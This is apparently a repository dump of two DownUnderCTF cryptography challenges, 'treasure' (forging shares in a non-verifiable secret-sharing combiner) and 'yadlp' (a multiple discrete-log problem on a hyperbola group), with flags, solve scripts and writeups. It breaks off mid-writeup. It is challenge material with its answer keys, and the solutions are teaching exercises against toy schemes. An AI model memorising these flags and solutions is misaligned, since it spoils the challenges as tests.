    "content": "FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-21.04\n\nRUN pip install pycryptodome\n\nCOPY ./challenge/flag.txt /home/ctf/chal/\nCOPY ./challenge/secret.py /home/ctf/chal/\nCOPY ./challenge/treasure.py /home/ctf/chal/pwn\n"
  },
  {
    "path": "crypto/treasure/README.md",
    "content": "# treasure\n\n**Category:** crypto\n\n**Difficulty:** easy\n\n**Author:** joseph#8210\n\nYou and two friends have spent the past year playing an ARG that promises valuable treasures to the first team to find three secret shares scattered around the world. At long last, you have found all three and are ready to combine the shares to figure out where the treasure is. Of course, being the greedy individual you are, you plan to use your cryptography skills to deceive your friends into thinking that the treasure is in the middle of no where...\n\n**Attached files:**\n- ./challenge/treasure.py (sha256: f36340e2be0a3bf91d3831a1801b828ebe59b77f8472dcb296ca6e8d7bb3dd7a)\n"
  },
  {
    "path": "crypto/treasure/challenge/flag.txt",
    "content": "DUCTF{m4yb3_th3_r34L_tr34sur3_w4s_th3_fr13nDs_w3_m4d3_al0ng_Th3_W4y.......}\n"
  },
  {
    "path": "crypto/treasure/challenge/secret.py",
    "content": "FLAG = open('./flag.txt', 'r').read().strip()\nFLAG_MSG = \\\nf'''\nYou travel to the exact coordinates that you found\nand notice something shining in the corner of your\neye. It\\'s a treasure chest! You open it and in a\ncompletely unexpected turn of events, it\\'s empty!\n\nEtched at the bottom of the hollow chest, you make\nout some writing. It reads:\n\n{FLAG}'''\nREAL_COORDS = 5756627544102572649201219381096443309301530404084814366157678459246004007288774904822314549\n"
  },
  {
    "path": "crypto/treasure/challenge/treasure.py",
    "content": "#!/usr/bin/python3\n\nimport re\nfrom Crypto.Util.number import long_to_bytes\nfrom Crypto.Random import random\nfrom secret import REAL_COORDS, FLAG_MSG\n\nFAKE_COORDS = 5754622710042474278449745314387128858128432138153608237186776198754180710586599008803960884\np = 13318541149847924181059947781626944578116183244453569385428199356433634355570023190293317369383937332224209312035684840187128538690152423242800697049469987\n\ndef create_shares(secret):\n    r1 = random.randint(1, p - 1)\n    r2 = random.randint(1, p - 1)\n    s1 = r1*r2*secret % p\n    s2 = r1*r1*r2*secret % p\n    s3 = r1*r2*r2*secret % p\n    return [s1, s2, s3]\n\ndef reveal_secret(shares):\n    s1, s2, s3 = shares\n    secret = pow(s1, 3, p) * pow(s2*s3, -1, p) % p\n    return secret\n\ndef run_combiner(shares):\n    try:\n        your_share = int(input('Enter your share: '))\n        return reveal_secret([your_share, shares[1], shares[2]])\n    except:\n        print('Invalid share')\n        exit()\n\ndef is_coords(s):\n    try:\n        return re.match(r'-?\\d+\\.\\d+?, -?\\d+\\.\\d+', long_to_bytes(s).decode())\n    except:\n        return False\n\ndef main():\n    shares = create_shares(REAL_COORDS)\n    print(f'Your share is: {shares[0]}')\n    print(f'Your two friends input their shares into the combiner and excitedly wait for you to do the same...')\n\n    secret_coords = run_combiner(shares)\n    print(f'The secret is revealed: {secret_coords}')\n    if not is_coords(secret_coords):\n        print('\"Hey those don\\'t look like coordinates!\"')\n        print('Your friends grow a bit suspicious, but you manage to convince them that you just entered a digit wrong. You decide to try again...')\n    else:\n        print('\"Let\\'s go get the treasure!!\"')\n        print('Your friends run off to the revealed location to look for the treasure...')\n        exit()\n\n    secret_coords = run_combiner(shares)\n    if not is_coords(secret_coords):\n        print('\"This is way too sus!!\"')\n        exit()\n\n    if secret_coords == FAKE_COORDS:\n        print('You\\'ve successfully deceived your friends!')\n\n        try:\n            real_coords = int(input('Now enter the real coords: '))\n            if real_coords == REAL_COORDS:\n                print(FLAG_MSG)\n            else:\n                print('Incorrect!')\n        except:\n            print('Incorrect!')\n    else:\n        print('You are a terrible trickster!')\n\nif __name__ == '__main__':\n    main()\n"
  },
  {
    "path": "crypto/treasure/challenge.yml",
    "content": "version: \"0.1\"\nid: treasure\nname: treasure\ncategory: crypto\ndescription: >\n  You and two friends have spent the past year playing an ARG that promises valuable treasures to the first team to find three secret shares scattered around the world. At long last, you have found all three and are ready to combine the shares to figure out where the treasure is. Of course, being the greedy individual you are, you plan to use your cryptography skills to deceive your friends into thinking that the treasure is in the middle of no where...\n\n\n  Author: joseph#8210\n\nconnection_info: nc ${host} ${port}\n\ntags:\n  - easy\n\nfiles:\n  - ./challenge/treasure.py\n\nflags:\n  - DUCTF{m4yb3_th3_r34L_tr34sur3_w4s_th3_fr13nDs_w3_m4d3_al0ng_Th3_W4y.......}\n"
  },
  {
    "path": "crypto/treasure/docker-compose.yml",
    "content": "version: '3'\nservices:\n  treasure: # challenge name\n    build: .\n    ports:\n      - \"1337:1337\" # local:container\n    privileged: true\n"
  },
  {
    "path": "crypto/treasure/solve/solve.sage",
    "content": "import os\nos.environ['PWNLIB_NOTERM'] = 'True'\nfrom pwn import *\nfrom parse import parse\n\nFAKE_COORDS = 5754622710042474278449745314387128858128432138153608237186776198754180710586599008803960884\np = 13318541149847924181059947781626944578116183244453569385428199356433634355570023190293317369383937332224209312035684840187128538690152423242800697049469987\nF = Zmod(p)\n\nconn = remote('0.0.0.0', 1337)\ns3 = list(parse('Your share is: {:d}\\n', conn.recvline().decode()))[0]\nconn.sendlineafter(': ', '1')\n\ns2s3_inv = list(parse('The secret is revealed: {:d}\\n', conn.recvline().decode()))[0]\nfake_share = F(FAKE_COORDS / s2s3_inv).nth_root(3)\nconn.sendlineafter(': ', str(fake_share))\n\nreal_coords = pow(s3, 3, p) * s2s3_inv\nconn.sendlineafter(': ', str(real_coords))\n\nprint(conn.recv().decode())\n"
  },
  {
    "path": "crypto/treasure/solve/writeup.ipynb",
    "content": "{\n \"cells\": [\n  {\n   \"cell_type\": \"markdown\",\n   \"id\": \"e9ef0eb1\",\n   \"metadata\": {},\n   \"source\": [\n    \"# Challenge Overview\\n\",\n    \"\\n\",\n    \"We are tasked with cheating as a participant of a secret sharing scheme. A secret value is split into three shares and we are given one of them. We are able to run the share combiner once and we will be given the output for it. Then, we must send a share to the combiner again to forge a specific output, and finally, we must send the server the real secret.\\n\",\n    \"\\n\",\n    \"## Secret Sharing Scheme\\n\",\n    \"\\n\",\n    \"The secret sharing scheme in the challenge is very simple. Notably, it is also not _verifiable_, so it is relatively easy to cheat.\\n\",\n    \"\\n\",\n    \"The scheme splits a secret into three shares and requires all three to recover the secret. Let $p$ be a prime number and let $s$ be the secret. The dealer chooses two random numbers $1 < r_1, r_2 < p$ and computes the three shares:\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"\\\\begin{aligned}\\n\",\n    \"    s_1 &\\\\equiv r_1 r_2 s \\\\pmod p \\\\\\\\\\n\",\n    \"    s_2 &\\\\equiv r_1^2 r_2 s \\\\pmod p \\\\\\\\\\n\",\n    \"    s_3 &\\\\equiv r_1 r_2^2 s \\\\pmod p\\n\",\n    \"\\\\end{aligned}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"To combine three shares $(s_1, s_2, s_3)$, the combiner computes\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"s \\\\equiv \\\\frac{s_1^3}{s_2 s_3} \\\\pmod p\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"(you should check for yourself that this computes the correct secret if the shares are correct!). Note that when we divide by $s_2 s_3$ here, we are actually multiplying by the [modular multiplicative inverse](https://en.wikipedia.org/wiki/Modular_multiplicative_inverse) of $s_2 s_3$ modulo $p$.\\n\",\n    \"\\n\",\n    \"## Cheating\\n\",\n    \"\\n\",\n    \"We control $s_1$, so how can we use this to both reveal the secret to only us, and also to forge a fake secret $s'$?\\n\",\n    \"\\n\",\n    \"### Faking a Secret\\n\",\n    \"\\n\",\n    \"The first time we send our shares to the combiner, we are able to send almost anything and somehow convince our friends everything is fine. We use this to gain some information that will help us to fake a secret.\\n\",\n    \"\\n\",\n    \"Let's consider what happens if we send $s_1 = 1$ as our share to the combiner. The combiner will compute and give us\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"\\\\frac{1}{s_2 s_3} \\\\pmod p\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"This is useful to us, because if we want to send another share $s_1'$ to the combiner such that the revealed secret is $s'$, all we need to do is compute $s_1'$ as follows:\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"\\\\begin{aligned}\\n\",\n    \"    s' &\\\\equiv \\\\frac{(s_1')^3}{s_2 s_3} \\\\pmod p \\\\\\\\\\n\",\n    \"    \\\\implies (s_1')^3 &\\\\equiv s' s_2 s_3 \\\\pmod p \\\\\\\\\\n\",\n    \"    \\\\implies s_1' &\\\\equiv (s' s_2 s_3)^{\\\\frac{1}{3}} \\\\pmod p\\n\",\n    \"\\\\end{aligned}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"Note that here, $(s' s_2 s_3)^{\\\\frac{1}{3}}$ means the modular cube root of $s' s_2 s_3$ modulo $p$, that is, a number which equals to $s' s_2 s_3$ when cubed and reduced modulo $p$. There are algorithms online that may help to compute this, and SageMath also has inbuilt functionalities for this.\\n\",\n    \"\\n\",\n    \"### Revealing the Real Secret\\n\",\n    \"\\n\",\n    \"We already have everything we need to reveal the real secret. We have $\\\\frac{1}{s_2 s_3} \\\\pmod p$ from the first time running the combiner, so all we need to do is use our real share and compute\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"s \\\\equiv \\\\frac{s_1^3}{s_2 s_3} \\\\pmod p\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"Sending this to the server gets us the flag :)\\n\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"id\": \"f90613ae\",\n   \"metadata\": {},\n   \"outputs\": [],\n   \"source\": []\n  }\n ],\n \"metadata\": {\n  \"kernelspec\": {\n   \"display_name\": \"Python 3 (ipykernel)\",\n   \"language\": \"python\",\n   \"name\": \"python3\"\n  },\n  \"language_info\": {\n   \"codemirror_mode\": {\n    \"name\": \"ipython\",\n    \"version\": 3\n   },\n   \"file_extension\": \".py\",\n   \"mimetype\": \"text/x-python\",\n   \"name\": \"python\",\n   \"nbconvert_exporter\": \"python\",\n   \"pygments_lexer\": \"ipython3\",\n   \"version\": \"3.9.6\"\n  }\n },\n \"nbformat\": 4,\n \"nbformat_minor\": 5\n}\n"
  },
  {
    "path": "crypto/treasure/solve/writeup.md",
    "content": "# Challenge Overview\n\nWe are tasked with cheating as a participant of a secret sharing scheme. A secret value is split into three shares and we are given one of them. We are able to run the share combiner once and we will be given the output for it. Then, we must send a share to the combiner again to forge a specific output, and finally, we must send the server the real secret.\n\n## Secret Sharing Scheme\n\nThe secret sharing scheme in the challenge is very simple. Notably, it is also not _verifiable_, so it is relatively easy to cheat.\n\nThe scheme splits a secret into three shares and requires all three to recover the secret. Let $p$ be a prime number and let $s$ be the secret. The dealer chooses two random numbers $1 < r_1, r_2 < p$ and computes the three shares:\n\n$$\n\\begin{aligned}\n    s_1 &\\equiv r_1 r_2 s \\pmod p \\\\\n    s_2 &\\equiv r_1^2 r_2 s \\pmod p \\\\\n    s_3 &\\equiv r_1 r_2^2 s \\pmod p\n\\end{aligned}\n$$\n\nTo combine three shares $(s_1, s_2, s_3)$, the combiner computes\n\n$$\ns \\equiv \\frac{s_1^3}{s_2 s_3} \\pmod p\n$$\n\n(you should check for yourself that this computes the correct secret if the shares are correct!). Note that when we divide by $s_2 s_3$ here, we are actually multiplying by the [modular multiplicative inverse](https://en.wikipedia.org/wiki/Modular_multiplicative_inverse) of $s_2 s_3$ modulo $p$.\n\n## Cheating\n\nWe control $s_1$, so how can we use this to both reveal the secret to only us, and also to forge a fake secret $s'$?\n\n### Faking a Secret\n\nThe first time we send our shares to the combiner, we are able to send almost anything and somehow convince our friends everything is fine. We use this to gain some information that will help us to fake a secret.\n\nLet's consider what happens if we send $s_1 = 1$ as our share to the combiner. The combiner will compute and give us\n\n$$\n\\frac{1}{s_2 s_3} \\pmod p\n$$\n\nThis is useful to us, because if we want to send another share $s_1'$ to the combiner such that the revealed secret is $s'$, all we need to do is compute $s_1'$ as follows:\n\n$$\n\\begin{aligned}\n    s' &\\equiv \\frac{(s_1')^3}{s_2 s_3} \\pmod p \\\\\n    \\implies (s_1')^3 &\\equiv s' s_2 s_3 \\pmod p \\\\\n    \\implies s_1' &\\equiv (s' s_2 s_3)^{\\frac{1}{3}} \\pmod p\n\\end{aligned}\n$$\n\nNote that here, $(s' s_2 s_3)^{\\frac{1}{3}}$ means the modular cube root of $s' s_2 s_3$ modulo $p$, that is, a number which equals to $s' s_2 s_3$ when cubed and reduced modulo $p$. There are algorithms online that may help to compute this, and SageMath also has inbuilt functionalities for this.\n\n### Revealing the Real Secret\n\nWe already have everything we need to reveal the real secret. We have $\\frac{1}{s_2 s_3} \\pmod p$ from the first time running the combiner, so all we need to do is use our real share and compute\n\n$$\ns \\equiv \\frac{s_1^3}{s_2 s_3} \\pmod p\n$$\n\nSending this to the server gets us the flag :)\n"
  },
  {
    "path": "crypto/yadlp/README.md",
    "content": "# yadlp\n\n**Category:** crypto\n\n**Difficulty:** hard\n\n**Author:** joseph#8210\n\nYet another discrete logarithm problem challenge...\n\n**Attached files:**\n- ./challenge/yadlp.sage (sha256: 182b7194d38e2c5e4a9c8de5a14d47bd49784c38be40c6137dfab2474d0d849c)\n- ./challenge/output.txt (sha256: 08bb54d0fa83d654fc77f29742b73deec53310fda8a452c4181bae2677133095)\n"
  },
  {
    "path": "crypto/yadlp/challenge/flag.txt",
    "content": "DUCTF{a_1337_hyp3rb0la_m33ts_th3_mult1pl3_DLP!!}\n"
  },
  {
    "path": "crypto/yadlp/challenge/output.txt",
    "content": "D = 13337\np = 17568142778435152362975498611159042138909402642078949814477371651322179417849164549408357464774644525711780515232117470272550677945089719112177956836141583\nG = [(8249149405495350491346934933585109414510787432598250096114687570379053133508711862485128035174547571919256235441699899388417666835599315963507480727674285, 10151966144947987666795899106244951506314545969111450078363915090201899029695981970354886015549281568762501638756950135017679627954071369058817947706039379), (10148658254415475588279956574772196898575718154643967163626694400363009168529645860280959810873028393970853643723425023678857408220330929116526467295542507, 3332426625916817700349475905733631656792492189677766534230576987725484499618918928882667666640821403823057239790395654518704427126712280655564669757208129), (1839326681086939925214853980855626023120414606039474419455499625885357274275815189399880356995376514021329118829062071144818562457268892324773839713533977, 17502649671831125396398431215302241914145169143474764941575812028922929277656849105757332346628455059539582448544435155655055157181361580680672298566085040), (3165955958968203879237344349962533642598441044481692770147807839372942715856047580766073222297692574025922260374409920417665600069665162502514403188432579, 9382092026348588885644924948782239369051861025018411316856012639637274661831713783735305424388410778778529413114167923397187236739639802371814632949741663), (8500294063291124527108623281980255870507549734362604259645984044370658620385351338711051998886026260657132944353675335178871934798200163035190278483491633, 7641198814027309580920446604109217188703337221305342467525089149977505415741300885194767452232679123441594451455097533000754553745051816419202345186703390), (12352685673550986453697035560006632628194788902921398545668828437339873544223895997440585227838919968929669738393535610103382084842900404005432007637193943, 2453949984320580417885537763124479618094084392655766673219227195157341323190069350175423869908524758510177197973709821798974003013596311361995273762475822)]\nc = (5388567167658786935158413401674168420144429277172064721472662913563775670320298461949979362402157764272762755236320989018989446360740720072488623102776015, 7420389277336940268114831002964626027945367662485419944369852006741899961686908509331719915794976159062761271182318814519641566938538911041229521838799714)\n"
  },
  {
    "path": "crypto/yadlp/challenge/yadlp.sage",
    "content": "def G_add(A, B):\n    x1, y1 = A\n    x2, y2 = B\n    return ((x1*x2 + D*y1*y2) % p, (x1*y2 + x2*y1 + 2*y1*y2) % p)\n\ndef G_mul(A, k):\n    out = (1, 0)\n    while k > 0:\n        if k & 1:\n            out = G_add(out, A)\n        A = G_add(A, A)\n        k >>= 1\n    return out\n\ndef rand_element():\n    while True:\n        x = randint(1, p-1)\n        d = x^2 * (D + 1) - D\n        if (x & 1 == d & 1) and kronecker(d, p) == 1:\n            y = (x + sqrt(Zmod(p)(d))) * inverse_mod(D, p) % p\n            return (x, y)\n\nD = 13337\np = 17568142778435152362975498611159042138909402642078949814477371651322179417849164549408357464774644525711780515232117470272550677945089719112177956836141583\nassert p.nbits() >= 512\nassert ((p-1)//2).is_prime() # safe prime\n\nFLAG = open('flag.txt', 'rb').read().strip()\nassert len(FLAG) % 8 == 0\nM = [int.from_bytes(FLAG[i:i+8], 'big') for i in range(0, len(FLAG), 8)]\n\nG = [rand_element() for _ in M]\nc = (1, 0)\nfor m, gi in zip(M, G):\n    c = G_add(c, G_mul(gi, m))\n\nprint(f'{D = }')\nprint(f'{p = }')\nprint(f'{G = }')\nprint(f'{c = }')\n"
  },
  {
    "path": "crypto/yadlp/challenge.yml",
    "content": "version: \"0.1\"\nid: yadlp\nname: yadlp\ncategory: crypto\ndescription: >\n  Yet another discrete logarithm problem challenge...\n\n\n  Author: joseph#8210\n\ntags:\n  - hard\n\nfiles:\n  - ./challenge/yadlp.sage\n  - ./challenge/output.txt\n\nflags:\n  - DUCTF{a_1337_hyp3rb0la_m33ts_th3_mult1pl3_DLP!!}\n"
  },
  {
    "path": "crypto/yadlp/solve/solve.sage",
    "content": "from tqdm import tqdm\n\nexec(open('../challenge/output.txt').read())\n\nproof.arithmetic(False)\nF.<x> = GF(p)[]\nR.<W> = GF(p^2, modulus=x^2 - (D+1))\nq = p+1\ng = R.zeta(q)\n\ndef phi(g):\n    x, y = g\n    return (x+y) + y*W\n\nprint('[!] calculating logs...')\nL = [discrete_log(phi(gi), g) for gi in tqdm(G)]\nlog_ct = discrete_log(phi(c), g)\nprint('[+] calculating logs done...')\n\nm = len(G)\nC = L + [log_ct, q]\nM = Matrix.column(ZZ, vector(C))\nM = M.augment(Matrix.identity(m+1).stack(vector([0]*(m+1))))\nM = M.dense_matrix()\n\nB = M.LLL()\nfor r in B:\n    if r[0] == 0:\n        break\n\nprint('[+] solved SVP:', r)\n\nflag = ''.join(int(abs(m)).to_bytes(8, 'big').decode() for m in r[1:-1])\nprint('[+] flag:', flag)\n"
  },
  {
    "path": "crypto/yadlp/solve/writeup.ipynb",
    "content": "{\n \"cells\": [\n  {\n   \"cell_type\": \"markdown\",\n   \"id\": \"linear-alfred\",\n   \"metadata\": {},\n   \"source\": [\n    \"This challenge follows a similar structure to a commonly seen style of crypto CTF challenges that involve solving the discrete logarithm problem in some group other than the usual $(\\\\mathbb{Z}/p\\\\mathbb{Z})^\\\\times$. The general approach is to figure out some information about what the group elements are like, and then try to find an isomorphism from the group to a group where we can easily solve the discrete logarithm problem.\\n\",\n    \"\\n\",\n    \"## Group Structure Part I\\n\",\n    \"\\n\",\n    \"We'll see that the group we are dealing with in the challenge is the set of points on some hyperbola over $\\\\mathbb{F}_p$. Although the operations defined in the handout code are called \\\"addition\\\" and \\\"multiplication\\\", it'll be helpful to use multiplication and exponentiation notation. When we say \\\"elements\\\", we usually mean points on the hyperbola, which are represented as tuples $(x, y) \\\\in \\\\mathbb{F}_p \\\\times \\\\mathbb{F}_p$ with addition operation defined as:\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"(x_1, y_1) \\\\cdot (x_2, y_2) = (x_1 x_2 + D y_1 y_2, x_1 y_2 + x_2 y_1 + 2 y_1 y_2)\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"The `rand_element` function gives us even more information about elements in this group. In fact, we can use it to get an explicit relation that all elements satisfy. The function first generates a random $x \\\\in \\\\mathbb{F}_p$, then computes $y$ as\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"y = \\\\frac{x + \\\\sqrt{x^2 (D+1) - D}}{D}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"Rearranging, we get\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"\\\\begin{aligned}\\n\",\n    \"    (Dy - x)^2 &= x^2(D+1) - D \\\\\\\\\\n\",\n    \"    \\\\implies D^2 y^2 - 2Dxy + x^2 &= Dx^2 + x^2 - D \\\\\\\\\\n\",\n    \"    \\\\implies Dx^2 + 2Dxy - D^2 y^2 &= D \\\\\\\\\\n\",\n    \"    \\\\implies x^2 + 2xy - Dy^2 &\\\\equiv 1 \\\\pmod p \\\\qquad \\\\text{since $D \\\\neq 0$}\\n\",\n    \"\\\\end{aligned}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"It can be checked that the set of solutions to this equation, equipped with addition operation above indeed does form a group. We'll call this group $\\\\mathcal{H}$.\\n\",\n    \"\\n\",\n    \"Diophantine equations of the form $x^2 - Dy^2 = 1$ are known as Pell equations and are well documented in the literature. We'll see later that the equation we found from the `rand_element` can be written as a Pell equation, and use that for analysing the group even more.\\n\",\n    \"\\n\",\n    \"## Challenge Analysis\\n\",\n    \"\\n\",\n    \"For now we'll take a look at how the flag is hidden and what we'll need to recover it. The 48 byte flag is broken up into 6 blocks of 8 bytes each. These blocks are represented as the integers $m_1, \\\\ldots, m_6$. Then, for some randomly generated elements $g_1, \\\\ldots, g_6$, the value $c = g_1^{m_1} \\\\cdots g_6^{m_6}$ is computed.\\n\",\n    \"\\n\",\n    \"Given $c$ and the $g_i$, the goal is to recover the $m_i$. This is known as the t-multiple discrete logarithm problem, and in this case, we can solve it by solving the discrete logarithm problem in $\\\\mathcal{H}$, combined with lattice techniques.\\n\",\n    \"\\n\",\n    \"Let $q$ be the order of $\\\\mathcal{H}$ and let $g$ be a generator of $\\\\mathcal{H}$ (we will see later that $\\\\mathcal{H}$ is cyclic). Define the discrete logarithm to the base $g$ as $\\\\log_g : \\\\mathcal{H} \\\\rightarrow \\\\mathbb{Z}_q$, that, for any $h \\\\in \\\\mathcal{H}$, gives us a value $x = \\\\log_g(h)$ such that $g^x = h$. It can be shown that this map is a homomorphism, so $\\\\log_g(h_1 h_2) = \\\\log_g(h_1) + \\\\log_g(h_2)$. Therefore,\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"\\\\begin{aligned}\\n\",\n    \"    \\\\log_g(c) &= \\\\log_g(g_1^{m_1} \\\\cdots g_6^{m_6}) \\\\\\\\\\n\",\n    \"    \\\\log_g(c) &= \\\\log_g(g_1^{m_1}) + \\\\cdots + \\\\log_g(g_6^{m_6}) \\\\\\\\\\n\",\n    \"    \\\\log_g(c) &= m_1\\\\log_g(g_1) + \\\\cdots + m_6 \\\\log_g(g_6) \\\\\\\\\\n\",\n    \"\\\\end{aligned}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"Since we're working in $\\\\mathbb{Z}_q$, we can equivalently write\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"\\\\log_g(c) \\\\equiv m_1\\\\log_g(g_1) + \\\\cdots + m_6\\\\log_g(g_6) \\\\pmod q\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"But since the $m_i$ are relatively small (~62 bits) compared to $q$ (which we will determine later), we can solve for the $m_i$ using lattice techniques. Specifically, consider the lattice generated by the rows of the matrix\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"\\\\begin{bmatrix}\\n\",\n    \"    \\\\log_g(g_1) & 1 \\\\\\\\\\n\",\n    \"    \\\\log_g(g_2) & & 1 \\\\\\\\\\n\",\n    \"    \\\\vdots & & & \\\\ddots \\\\\\\\\\n\",\n    \"    \\\\log_g(g_6) & & & & 1 \\\\\\\\\\n\",\n    \"    \\\\log_g(c) & & & & & 1 \\\\\\\\\\n\",\n    \"    q\\n\",\n    \"\\\\end{bmatrix}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"Notice that $m_1$ times the first row, plus $m_2$ times the second row, etc. take $1$ times the seventh row, and an appropriate multiple of the last row, gives the short vector\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"(0, 2^{62}, 2^{62}, 2^{62}, 2^{62}, 2^{62}, 2^{62}, -1)\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"which can be found with lattice basis reduction algorithms such as LLL.\\n\",\n    \"\\n\",\n    \"## Group Structure Part II\\n\",\n    \"\\n\",\n    \"### Group Order\\n\",\n    \"\\n\",\n    \"All we need left to solve the challenge is a way to solve the discrete logarithm problem in $\\\\mathcal{H}$. Determining the group order is a good first step as we could use it to try and see if there is an isomorphism between $\\\\mathcal{H}$ and an additive group of integers of the same order where the discrete logarithm is trivially solved by division. However, it turns out that the order of $\\\\mathcal{H}$ is $p+1$ and that $\\\\mathcal{H}$ is isomorphic to the cyclic subgroup of $\\\\mathbb{F}_{p^2}$ of order $p+1$. We follow a similar approach to [1] for the proof.\\n\",\n    \"\\n\",\n    \"---\\n\",\n    \"\\n\",\n    \"_**Claim.**_ Let $\\\\mathcal{H} \\\\subset \\\\mathbb{F}_p \\\\times \\\\mathbb{F}_p$ be the set of solutions to the equation\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"x^2 + 2xy - Dy^2 \\\\equiv 1 \\\\pmod p\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"Assume that $\\\\left(\\\\dfrac{D+1}{p}\\\\right) = -1$ (this is true for the challenge parameters). Then, $\\\\mathcal{H} \\\\cong S$ where $S \\\\leq \\\\mathbb{F}_{p^2}$ is the cyclic subgroup of $\\\\mathbb{F}_{p^2}$ of order $p+1$.\\n\",\n    \"\\n\",\n    \"_**Proof.**_ First, note that $(x+y)^2 - (D+1)y^2 = x^2 + 2xy - Dy^2$, so it suffices to show that the set of solutions to the equation $(x+y)^2 - (D+1)y^2 \\\\equiv 1 \\\\pmod p$ (equipped with the addition operation as defined above) is isomorphic to $S$. Let $f(W) = W^2 - (D+1)$. Note that $f(W)$ is irreducible as it is of degree 2 and has no roots, since $D+1$ has no square in $\\\\mathbb{F}_p$ by assumption. Therefore $\\\\mathbb{F}_{p^2} \\\\cong \\\\mathbb{F}_p[W]/\\\\langle f(W) \\\\rangle$. Now, if $\\\\alpha \\\\in S$, then $\\\\alpha^{p+1} = 1$ (since $S$ has order $p+1$). But we can write $\\\\alpha = r + sW$ for $r,s \\\\in \\\\mathbb{F}_p$. So,\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"\\\\begin{aligned}\\n\",\n    \"    \\\\alpha^{p+1} &= (r + sW)^p (r + sW) \\\\\\\\\\n\",\n    \"                 &= (r^p + s^pW^p)(r + sW) &&\\\\quad (x+y)^p = x^p + y^p \\\\text{ for all } x, y \\\\in \\\\mathbb{F}_p \\\\\\\\\\n\",\n    \"                 &= (r + sW^p)(r + sW)     &&\\\\quad x^{p-1} = 1 \\\\text{ for all } x \\\\in \\\\mathbb{F}_p \\\\\\\\\\n\",\n    \"                 &= (r - sW)(r + sW)       &&\\\\quad W^p = W(W^2)^{\\\\frac{p-1}{2}} = W(D+1)^{\\\\frac{p-1}{2}} = -W \\\\\\\\\\n\",\n    \"                 &= r^2 - s^2 W^2 \\\\\\\\\\n\",\n    \"                 &= r^2 - (D+1)s^2         &&\\\\quad W^2 = D+1\\n\",\n    \"\\\\end{aligned}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"So, if we take $r = x+y$ and $s = y$, then we see that $\\\\alpha^{p+1} = 1 = (x+y)^2 - (D+1)y^2$. Therefore, we have the bijection $\\\\varphi : \\\\mathcal{H} \\\\rightarrow S, (x, y) \\\\mapsto (x+y) + yW$. To see that this is a homomorphism, let $(x_1, y_1), (x_2, y_2) \\\\in \\\\mathcal{H}$. Then\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"\\\\begin{aligned}\\n\",\n    \"    \\\\varphi((x_1, y_1) \\\\cdot (x_2, y_2)) &= \\\\varphi((x_1 x_2 + D y_1 y_2, x_1 y_2 + x_2 y_1 + 2 y_1 y_2)) \\\\\\\\\\n\",\n    \"            &= (x_1 x_2 + x_1 y_2 + x_2 y_1 + (D+2) y_1 y_2) + (x_1 y_2 + x_2 y_1 + 2 y_1 y_2) W\\n\",\n    \"\\\\end{aligned}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"But\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"\\\\begin{aligned}\\n\",\n    \"    \\\\varphi((x_1, y_1)) \\\\varphi((x_2, y_2)) &= ((x_1 + y_1) + y_1 W)((x_2 + y_2) + y_2 W) \\\\\\\\\\n\",\n    \"            &= (x_1 + y_1)(x_2 + y_2) + (x_1 + y_1) y_2 W + (x_2 + y_2) y_1 W + y_1 y_2 W^2 \\\\\\\\\\n\",\n    \"            &= (x_1 x_2 + x_1 y_2 + x_2 y_1 + y_1 y_2) + (x_1 y_2 + x_2 y_1 + 2 y_1 y_2) W + (D+1) y_1 y_2 \\\\\\\\\\n\",\n    \"            &= (x_1 x_2 + x_1 y_2 + x_2 y_1 + (D+2) y_1 y_2) + (x_1 y_2 + x_2 y_1 + 2 y_1 y_2) W\\n\",\n    \"\\\\end{aligned}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"So we have $\\\\varphi((x_1, y_1) \\\\cdot (x_2, y_2)) = \\\\varphi((x_1, y_1)) \\\\varphi((x_2, y_2))$.\\n\",\n    \"\\n\",\n    \"Therefore $\\\\varphi$ is an isomorphism, and $\\\\mathcal{H} \\\\cong S$.\\n\",\n    \"\\n\",\n    \"---\\n\",\n    \"\\n\",\n    \"If we take a look at the actual values in the challenge, we'll see that $p+1$ is smooth, with the largest factor being 32 bits! This is a hint that we're on the right path, since we'll be able to solve the discrete logarithm problem in a reasonable time with Pohlig-Hellman.\\n\",\n    \"\\n\",\n    \"### Inverse Elements\\n\",\n    \"\\n\",\n    \"By this point, we've pretty much already solved the challenge, but as a bonus, we can find the inverse elements of $\\\\mathcal{H}$. Although the solution script doesn't do this, this has the advantage of speed over using the isomorphism found above since the operations are slightly faster (than operations in $\\\\mathbb{F}_{p^2}$). Recall the addition formula\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"(x, y) \\\\cdot (x', y') = (xx' + Dyy', xy' + x'y + 2yy')\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"The identity element is clearly $(1, 0)$, so to find the inverse element of 